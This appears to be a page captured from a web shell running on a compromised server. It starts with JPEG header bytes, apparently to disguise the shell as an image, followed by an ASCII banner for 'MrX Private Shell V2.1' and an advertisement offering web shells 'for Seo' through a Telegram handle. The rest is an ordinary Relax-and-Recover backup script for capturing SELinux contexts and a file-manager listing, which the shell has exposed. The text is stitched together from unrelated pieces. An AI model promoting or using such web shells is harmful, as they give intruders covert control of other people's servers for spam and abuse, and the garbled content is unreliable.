����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
#
# backup/YUM/default/600_capture_selinux_contexts.sh
#
# Since SELinux security contexts could be set differently on the source system than
# what the RPM-provided or non-RPM-provided files will have, we will capture the
# security contexts for every file on the filesystem that will be in the backup archive
if ! is_true "$YUM_BACKUP_FILES" ; then
LogPrint "Not backing up SELinux contexts (YUM_BACKUP_FILES=$YUM_BACKUP_FILES)"
return
fi
if ! is_true "$YUM_BACKUP_SELINUX_CONTEXTS" ; then
LogPrint "Not backing up SELinux contexts (YUM_BACKUP_SELINUX_CONTEXTS=$YUM_BACKUP_SELINUX_CONTEXTS)"
return
fi
LogPrint "Backing up SELinux contexts (YUM_BACKUP_SELINUX_CONTEXTS=$YUM_BACKUP_SELINUX_CONTEXTS)"
# Try to care about possible errors
# see https://github.com/rear/rear/wiki/Coding-Style
set -e -u -o pipefail
local yum_backup_dir=$( dirname "$backuparchive" )
test -d $yum_backup_dir || mkdir $verbose -p -m 755 $yum_backup_dir
find $(cat $TMP_DIR/backup-include.txt) -xdev -exec stat -c "%C %n" {} \; | grep -E -w -v -f $TMP_DIR/backup-exclude.txt > $yum_backup_dir/selinux_contexts.dat
# Go back from "set -e -u -o pipefail" to the defaults:
apply_bash_flags_and_options_commands "$DEFAULT_BASH_FLAGS_AND_OPTIONS_COMMANDS"
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| 400_create_include_exclude_files.sh | File | 6.16 KB | 0644 |
|
| 500_make_backup.sh | File | 5.85 KB | 0644 |
|
| 600_capture_selinux_contexts.sh | File | 1.24 KB | 0644 |
|